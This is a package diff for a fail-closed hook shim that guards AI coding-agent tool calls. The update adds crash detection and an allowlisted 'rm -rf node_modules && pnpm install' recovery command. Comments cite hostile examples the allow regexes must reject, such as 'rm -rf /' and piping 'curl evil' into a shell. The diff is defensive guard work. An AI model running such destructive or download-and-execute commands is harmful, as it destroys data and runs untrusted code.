@webpieces/ai-hook-rules 0.3.373 → 0.3.374

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@webpieces/ai-hook-rules",
3
- "version": "0.3.373",
3
+ "version": "0.3.374",
4
4
  "description": "Pluggable write-time validation framework for AI coding agents (@webpieces/ai-hook-rules). Claude Code PreToolUse + openclaw before_tool_call adapters share one rule engine.",
5
5
  "type": "commonjs",
6
6
  "main": "./src/index.js",
@@ -31,7 +31,7 @@
31
31
  "directory": "packages/tooling/ai-hook-rules"
32
32
  },
33
33
  "dependencies": {
34
- "@webpieces/rules-config": "0.3.373"
34
+ "@webpieces/rules-config": "0.3.374"
35
35
  },
36
36
  "publishConfig": {
37
37
  "access": "public"
package/src/bin/shim.d.ts CHANGED
@@ -2,5 +2,8 @@ export declare const SHIM_MARKER = ".claude/webpieces/ai-hook.sh";
2
2
  export declare function shimPath(projectRoot: string): string;
3
3
  export declare const INSTALLER_ALLOW_ERE = "^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$";
4
4
  export declare const INSTALLER_ALLOW_JS: RegExp;
5
+ export declare const RECOVERY_ALLOW_ERE = "^rm[[:space:]]+-rf[[:space:]]+(\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?[[:space:]]*$";
6
+ export declare const RECOVERY_ALLOW_JS: RegExp;
7
+ export declare const RECOVERY_CMD = "rm -rf node_modules && pnpm install";
5
8
  export declare function renderShim(): string;
6
9
  export declare function healShim(cwd: string): void;
package/src/bin/shim.js CHANGED
@@ -1,6 +1,6 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.SHIM_MARKER = void 0;
3
+ exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.SHIM_MARKER = void 0;
4
4
  exports.shimPath = shimPath;
5
5
  exports.renderShim = renderShim;
6
6
  exports.healShim = healShim;
@@ -47,6 +47,24 @@ exports.INSTALLER_ALLOW_ERE = '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--
47
47
  // commands also pass when the bin IS installed but the config is invalid/ahead of the validator —
48
48
  // same deadlock, other side. A unit test asserts the two agree on a sample set.
49
49
  exports.INSTALLER_ALLOW_JS = /^(pnpm|npm)\s+(install|i)(\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*\s*$/;
50
+ // The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.
51
+ //
52
+ // Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a
53
+ // package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the
54
+ // right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully
55
+ // reports "up to date" and the corruption survives every retry. The only reliable cure is to delete
56
+ // node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed
57
+ // escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).
58
+ //
59
+ // Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a
60
+ // single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.
61
+ // So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.
62
+ // Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).
63
+ exports.RECOVERY_ALLOW_ERE = '^rm[[:space:]]+-rf[[:space:]]+(\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?[[:space:]]*$';
64
+ // JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
65
+ exports.RECOVERY_ALLOW_JS = /^rm\s+-rf\s+(\.\/)?node_modules\/?(\s*&&\s*(pnpm|npm)\s+(install|i)(\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?\s*$/;
66
+ // The exact command we tell the human/assistant to run to recover a corrupt node_modules.
67
+ exports.RECOVERY_CMD = 'rm -rf node_modules && pnpm install';
50
68
  // Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\${BIN_NAME},
51
69
  // \$REASON, \\n for the deny JSON) AND my sed backslashes (doubled: \\(, \\), \\1, [^"\\\\]). The
52
70
  // grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).
@@ -81,9 +99,98 @@ if [ -f "$ROOT/package.json" ]; then
81
99
  $(sed -n 's/.*"@webpieces\\/\\([A-Za-z0-9._-]*\\)"[[:space:]]*:[[:space:]]*"\\([0-9][0-9A-Za-z.-]*\\)".*/\\1 \\2/p' "$ROOT/package.json")
82
100
  WPEOF
83
101
  fi`;
84
- // Shell fragment: pick the fail-closed deny REASON a version-drift message (bin present but stale)
85
- // vs the missing-bin message. Extracted alongside VERSION_DRIFT_GUARD_SH to keep renderShim() small.
86
- const DENY_REASON_SH = `if [ -n "\$DRIFT_PKG" ]; then
102
+ // Shell fragment: run the installed guard bin and INSPECT its outcome, instead of exec'ing it.
103
+ //
104
+ // THE BUG THIS FIXES (guards silently fail-OPEN): the shim used to `exec "$BIN"`. exec REPLACES this
105
+ // shim process, so once the bin was executable the shim was GONE and could no longer make a decision.
106
+ // That is fine when the bin runs — but the bin can be INSTALLED YET BROKEN: a corrupt/partially-written
107
+ // node_modules makes node die at require() time with MODULE_NOT_FOUND, exiting 1. And in the PreToolUse
108
+ // protocol ONLY exit 2 blocks: any other non-zero is a NON-BLOCKING error, so Claude Code prints
109
+ // "Failed with non-blocking status code" and RUNS THE TOOL CALL ANYWAY — the guard is silently skipped.
110
+ // Result: every Write/Edit/Bash went UNGUARDED, for as long as node_modules stayed corrupt. The shim
111
+ // handled "bin missing" and "bin stale", but never "bin present and CRASHES" — the third failure mode.
112
+ //
113
+ // So: do not exec. Run the bin with the payload on stdin and branch on its exit code.
114
+ // rc 0 | 2 → a REAL decision (allow / block). Relay stdout, stderr and the code byte-faithfully.
115
+ // anything else → the guard CRASHED. Fall through to the fail-CLOSED path (BROKEN_BIN=1).
116
+ // stdout/stderr go through temp FILES, not $(command substitution), so the bin's bytes reach Claude
117
+ // Code exactly as written — command substitution strips trailing newlines and would corrupt the
118
+ // decision JSON. Reading the payload up-front ($PAYLOAD) is what replaces exec's stdin passthrough.
119
+ const RUN_BIN_SH = `if [ -x "\$BIN" ] && [ -z "\$DRIFT_PKG" ]; then
120
+ OUT_FILE="\${TMPDIR:-/tmp}/wp-ai-hook-out.\$\$"
121
+ ERR_FILE="\${TMPDIR:-/tmp}/wp-ai-hook-err.\$\$"
122
+ printf '%s' "\$PAYLOAD" | "\$BIN" "\$@" >"\$OUT_FILE" 2>"\$ERR_FILE"
123
+ RC=\$?
124
+ if [ "\$RC" = 0 ] || [ "\$RC" = 2 ]; then
125
+ cat "\$OUT_FILE" # the guard's real decision — verbatim
126
+ cat "\$ERR_FILE" >&2
127
+ rm -f "\$OUT_FILE" "\$ERR_FILE" 2>/dev/null
128
+ exit "\$RC"
129
+ fi
130
+ # Crashed. Keep the most useful stderr line for the human. Strip " and backslash so the text stays a
131
+ # valid JSON string, and cap the length so a giant node stack cannot blow up the deny payload.
132
+ CRASH_MSG="\$(grep -m1 'Cannot find module' "\$ERR_FILE" 2>/dev/null | tr -d '"\\\\' | cut -c1-120)"
133
+ [ -n "\$CRASH_MSG" ] || CRASH_MSG="\$(head -n1 "\$ERR_FILE" 2>/dev/null | tr -d '"\\\\' | cut -c1-120)"
134
+ [ -n "\$CRASH_MSG" ] || CRASH_MSG="exit code \$RC, no stderr"
135
+ rm -f "\$OUT_FILE" "\$ERR_FILE" 2>/dev/null
136
+ BROKEN_BIN=1
137
+ fi`;
138
+ // Shell fragment: the guards are DOWN (missing | stale | crashed). Parse the payload, audit-log the
139
+ // decision, and let ONLY the install/recovery commands through — everything else falls to the deny below.
140
+ const TRIAGE_SH = `CMD="\$(printf '%s' "\$PAYLOAD" | sed -n 's/.*"command"[[:space:]]*:[[:space:]]*"\\([^"\\\\]*\\)".*/\\1/p')"
141
+ TOOL="\$(printf '%s' "\$PAYLOAD" | sed -n 's/.*"tool_name"[[:space:]]*:[[:space:]]*"\\([^"\\\\]*\\)".*/\\1/p')"
142
+ # Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a
143
+ # human can inspect after something odd (an install that was denied, or one that slipped through). One
144
+ # tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or
145
+ # blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is
146
+ # the PreToolUse decision channel — a stray byte there would corrupt allow/deny).
147
+ LOG_DIR="\$ROOT/.webpieces/logs"
148
+ wp_log() { # \$1 = decision label (ALLOW-INSTALL | DENY | DENY-STALE | DENY-BROKEN)
149
+ { mkdir -p "\$LOG_DIR" 2>/dev/null && printf '%s\\t%s\\t%s\\t%s\\t%s\\n' "\$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)" "\$BIN_NAME" "\$TOOL" "\$1" "\$CMD" >> "\$LOG_DIR/ai-hook-shim.log"; } 2>/dev/null || true
150
+ }
151
+ DENY_LABEL="DENY"
152
+ [ -n "\$DRIFT_PKG" ] && DENY_LABEL="DENY-STALE" # version drift, not a missing bin
153
+ [ -n "\$BROKEN_BIN" ] && DENY_LABEL="DENY-BROKEN" # bin present but CRASHED (corrupt node_modules)
154
+ if printf '%s' "\$CMD" | grep -Eq '${exports.INSTALLER_ALLOW_ERE}' || printf '%s' "\$CMD" | grep -Eq '${exports.RECOVERY_ALLOW_ERE}'; then
155
+ wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)
156
+ exit 0 # allow the installer/recovery so the assistant can break the deadlock
157
+ fi
158
+ wp_log "\$DENY_LABEL" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection`;
159
+ // Shell fragment: emit the deny. FAIL CLOSED via Claude Code's PreToolUse JSON protocol
160
+ // (permissionDecision "deny" on stdout, then exit 0) rather than a bare "exit 2". BOTH block the call,
161
+ // but the reason must be made VISIBLE, and HOW depends on the tool (verified by live tests; the docs
162
+ // are wrong here):
163
+ // - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage
164
+ // is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the
165
+ // recovery command is visible (without it, on Bash, it is invisible).
166
+ // - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED "Error:" block natively —
167
+ // no systemMessage needed (a second line would be redundant).
168
+ // - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).
169
+ // The ESC is emitted as the literal 6-char JSON escape \\u001b (built via ${BS} so no raw ESC byte and
170
+ // no \\uXXXX sits in this source); Claude Code's JSON parser turns \\u001b into ESC. The reason is a
171
+ // single JSON string with no double-quotes/backslashes, so it stays valid JSON after ${BIN_NAME} subs.
172
+ const DENY_EMIT_SH = `if [ "\$TOOL" = "Bash" ]; then
173
+ BS='\\' # one literal backslash, so the \\u001b escape never sits in this source
174
+ ESC="\${BS}u001b" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\u001b → ESC
175
+ printf '{"systemMessage":"%s🛑 %s%s","hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"%s"}}\\n' "\${ESC}[31;1m" "\$REASON" "\${ESC}[0m" "\$REASON"
176
+ else
177
+ printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"%s"}}\\n' "\$REASON"
178
+ fi
179
+ exit 0 # decision is carried by permissionDecision "deny", not the exit code`;
180
+ // Shell fragment: pick the fail-closed deny REASON — a crashed-bin message (corrupt node_modules) vs a
181
+ // version-drift message (bin present but stale) vs the missing-bin message. Extracted alongside
182
+ // VERSION_DRIFT_GUARD_SH / RUN_BIN_SH to keep renderShim() within the method-line budget.
183
+ const DENY_REASON_SH = `if [ -n "\$BROKEN_BIN" ]; then
184
+ # Report (do NOT auto-clean) the orphaned pnpm staging dirs — a package pnpm was mid-way through
185
+ # writing is left behind as <name>_<pid>_<hash>. Their presence is the fingerprint of an install that
186
+ # was killed, which is what corrupts node_modules in the first place. Best-effort; never fatal.
187
+ STAGING_N="\$(ls "\$ROOT/node_modules" 2>/dev/null | grep -Ec '_[0-9a-f]+_[0-9a-f]+\$' || true)"
188
+ STAGING_NOTE=""
189
+ if [ "\${STAGING_N:-0}" -gt 0 ] 2>/dev/null; then
190
+ STAGING_NOTE=" Also found \$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write."
191
+ fi
192
+ REASON="❌ webpieces guards are DOWN and every tool call is BLOCKED: \${BIN_NAME} is installed but CRASHED (\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. Run exactly this, then retry: ${exports.RECOVERY_CMD}\${STAGING_NOTE}"
193
+ elif [ -n "\$DRIFT_PKG" ]; then
87
194
  REASON="❌ webpieces is out of date: package.json pins \$DRIFT_PKG@\$DRIFT_DECLARED but node_modules has \$DRIFT_INSTALLED. This hook rejects every call except 'pnpm install' because your installed webpieces is older than webpieces.config.json requires. Please run 'pnpm install' now, then retry."
88
195
  else
89
196
  REASON="❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\${BIN_NAME} not found). Run 'pnpm install' (or this repo's installer) to enable the webpieces AI guards, then retry. (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)"
@@ -103,56 +210,21 @@ shift
103
210
  ROOT="$(CDPATH= cd -- "$(dirname -- "$0")/../.." && pwd)"
104
211
  BIN="$ROOT/node_modules/.bin/$BIN_NAME"
105
212
  ${VERSION_DRIFT_GUARD_SH}
106
- if [ -x "$BIN" ] && [ -z "$DRIFT_PKG" ]; then
107
- exec "$BIN" "$@" # exec preserves stdinhooks receive the tool payload as JSON on stdin
108
- fi
109
- # Bin missing (fresh clone before install, or a broken install) OR a version drift (stale node_modules).
110
- # The webpieces guards CANNOT safely run.
111
- # Before failing closed, peek at the tool payload and let ONLY package-manager install commands
112
- # through: the assistant's own Bash tool routes through this hook too, so blocking everything would
113
- # deadlock the one command (pnpm/npm install) that re-enables the guards. A silent exit 0 = "allow"
114
- # in the PreToolUse protocol; the guards resume automatically once node_modules is present.
213
+ # Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must
214
+ # forward stdin to the bin itself and it needs the payload again on the fail-closed path below.
115
215
  PAYLOAD="$(cat)"
116
- CMD="$(printf '%s' "$PAYLOAD" | sed -n 's/.*"command"[[:space:]]*:[[:space:]]*"\\([^"\\\\]*\\)".*/\\1/p')"
117
- TOOL="$(printf '%s' "$PAYLOAD" | sed -n 's/.*"tool_name"[[:space:]]*:[[:space:]]*"\\([^"\\\\]*\\)".*/\\1/p')"
118
- # Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a
119
- # human can inspect after something odd (an install that was denied, or one that slipped through). One
120
- # tab-separated line per call <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or
121
- # blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is
122
- # the PreToolUse decision channel a stray byte there would corrupt allow/deny).
123
- LOG_DIR="$ROOT/.webpieces/logs"
124
- wp_log() { # $1 = decision label (ALLOW-INSTALL | DENY)
125
- { mkdir -p "$LOG_DIR" 2>/dev/null && printf '%s\\t%s\\t%s\\t%s\\t%s\\n' "$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)" "$BIN_NAME" "$TOOL" "$1" "$CMD" >> "$LOG_DIR/ai-hook-shim.log"; } 2>/dev/null || true
126
- }
127
- DENY_LABEL="DENY"
128
- [ -n "$DRIFT_PKG" ] && DENY_LABEL="DENY-STALE" # version drift, not a missing bin
129
- if printf '%s' "$CMD" | grep -Eq '${exports.INSTALLER_ALLOW_ERE}'; then
130
- wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)
131
- exit 0 # allow the installer so the assistant can self-heal the deadlock
132
- fi
133
- wp_log "$DENY_LABEL" # record every fail-closed block (…-STALE = version drift) for inspection
134
- # Not an installer command → FAIL CLOSED. Deny via Claude Code's PreToolUse JSON protocol
135
- # (permissionDecision "deny" on stdout, then exit 0) rather than a bare "exit 2". BOTH block the call,
136
- # but the reason must be made visible, and HOW depends on the tool (verified by live tests; the docs
137
- # are wrong here):
138
- # - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage
139
- # is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the
140
- # "run pnpm install" fix is visible (today, on Bash, it is invisible).
141
- # - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED "Error:" block natively —
142
- # no systemMessage needed (a second line would be redundant).
143
- # - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).
144
- # The ESC is emitted as the literal 6-char JSON escape \\u001b (built via \${BS} so no raw ESC byte and
145
- # no \\uXXXX sits in this source); Claude Code's JSON parser turns \\u001b into ESC. The reason is a
146
- # single JSON string with no double-quotes/backslashes, so it stays valid JSON after \${BIN_NAME} subs.
216
+ BROKEN_BIN=""
217
+ CRASH_MSG=""
218
+ ${RUN_BIN_SH}
219
+ # Bin missing (fresh clone before install) OR a version drift (stale node_modules) OR the bin is
220
+ # installed but CRASHED (corrupt node_modules). The webpieces guards CANNOT safely run.
221
+ # Before failing closed, peek at the tool payload and let ONLY package-manager install/recovery commands
222
+ # through: the assistant's own Bash tool routes through this hook too, so blocking everything would
223
+ # deadlock the very commands (pnpm install / rm -rf node_modules && pnpm install) that re-enable the
224
+ # guards. A silent exit 0 = "allow" in the PreToolUse protocol; the guards resume once the tree is sane.
225
+ ${TRIAGE_SH}
147
226
  ${DENY_REASON_SH}
148
- if [ "\$TOOL" = "Bash" ]; then
149
- BS='\\' # one literal backslash, so the \\u001b escape never sits in this source
150
- ESC="\${BS}u001b" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\u001b → ESC
151
- printf '{"systemMessage":"%s🛑 %s%s","hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"%s"}}\\n' "\${ESC}[31;1m" "\$REASON" "\${ESC}[0m" "\$REASON"
152
- else
153
- printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"%s"}}\\n' "\$REASON"
154
- fi
155
- exit 0 # decision is carried by permissionDecision "deny", not the exit code
227
+ ${DENY_EMIT_SH}
156
228
  `;
157
229
  }
158
230
  // Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's
@@ -1 +1 @@
1
- {"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// No `cd` prefix on purpose: the root package.json IS the install target in this nx monorepo and\n// Claude Code starts at the repo root, so a bare `pnpm install` always works — no `cd` is ever needed,\n// and allowing one would only widen the attack surface of a fail-CLOSED escape hatch.\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nexport const INSTALLER_ALLOW_ERE =\n '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$';\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nexport const INSTALLER_ALLOW_JS =\n /^(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*\\s*$/;\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\n// Shell fragment: the version-drift guard (see its own block comment). Extracted to a module const so\n// renderShim() stays within the method-line budget; it is spliced back in verbatim, byte-for-byte.\nconst VERSION_DRIFT_GUARD_SH = `# --- webpieces version-drift guard (pure sh — runs even when the installed guard bin is stale) -----\n# The committed shim is version-agnostic, so it keeps working right after a git pull, BEFORE the\n# matching pnpm install. That is exactly when node_modules can be STALE: an OLDER @webpieces than\n# package.json now pins, whose outdated validator rejects the NEWER webpieces.config.json with baffling\n# \"unknown rule\" errors. Detect that drift HERE (before exec'ing the possibly-stale bin): compare every\n# EXACT-pinned @webpieces/* version in the root package.json against the version actually installed in\n# node_modules; the first mismatch wins. Range specs (^ ~ workspace:*) are skipped, so they never\n# false-positive; best-effort — a version we cannot read is skipped. On drift we fall through to the\n# SAME fail-closed path as a missing bin (allow only pnpm install, deny the rest).\nDRIFT_PKG=\"\"\nDRIFT_DECLARED=\"\"\nDRIFT_INSTALLED=\"\"\nif [ -f \"$ROOT/package.json\" ]; then\n while IFS=' ' read -r WP_NAME WP_DECL; do\n [ -n \"$WP_NAME\" ] || continue\n WP_MANIFEST=\"$ROOT/node_modules/@webpieces/$WP_NAME/package.json\"\n [ -f \"$WP_MANIFEST\" ] || continue\n WP_INST=\"$(sed -n 's/.*\"version\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1/p' \"$WP_MANIFEST\" | head -n1)\"\n [ -n \"$WP_INST\" ] || continue\n if [ \"$WP_DECL\" != \"$WP_INST\" ]; then\n DRIFT_PKG=\"@webpieces/$WP_NAME\"\n DRIFT_DECLARED=\"$WP_DECL\"\n DRIFT_INSTALLED=\"$WP_INST\"\n break\n fi\n done <<WPEOF\n$(sed -n 's/.*\"@webpieces\\\\/\\\\([A-Za-z0-9._-]*\\\\)\"[[:space:]]*:[[:space:]]*\"\\\\([0-9][0-9A-Za-z.-]*\\\\)\".*/\\\\1 \\\\2/p' \"$ROOT/package.json\")\nWPEOF\nfi`;\n\n// Shell fragment: pick the fail-closed deny REASON — a version-drift message (bin present but stale)\n// vs the missing-bin message. Extracted alongside VERSION_DRIFT_GUARD_SH to keep renderShim() small.\nconst DENY_REASON_SH = `if [ -n \"\\$DRIFT_PKG\" ]; then\n REASON=\"❌ webpieces is out of date: package.json pins \\$DRIFT_PKG@\\$DRIFT_DECLARED but node_modules has \\$DRIFT_INSTALLED. This hook rejects every call except 'pnpm install' because your installed webpieces is older than webpieces.config.json requires. Please run 'pnpm install' now, then retry.\"\nelse\n REASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). Run 'pnpm install' (or this repo's installer) to enable the webpieces AI guards, then retry. (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nfi`;\n\nexport function renderShim(): string {\n return `#!/bin/sh\n# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit; the installer AND the running\n# guards binary both overwrite this file (self-healing) from renderShim(). Checked in on purpose so the\n# hook has a stable, committed entry point even when node_modules is absent. Safe to delete along 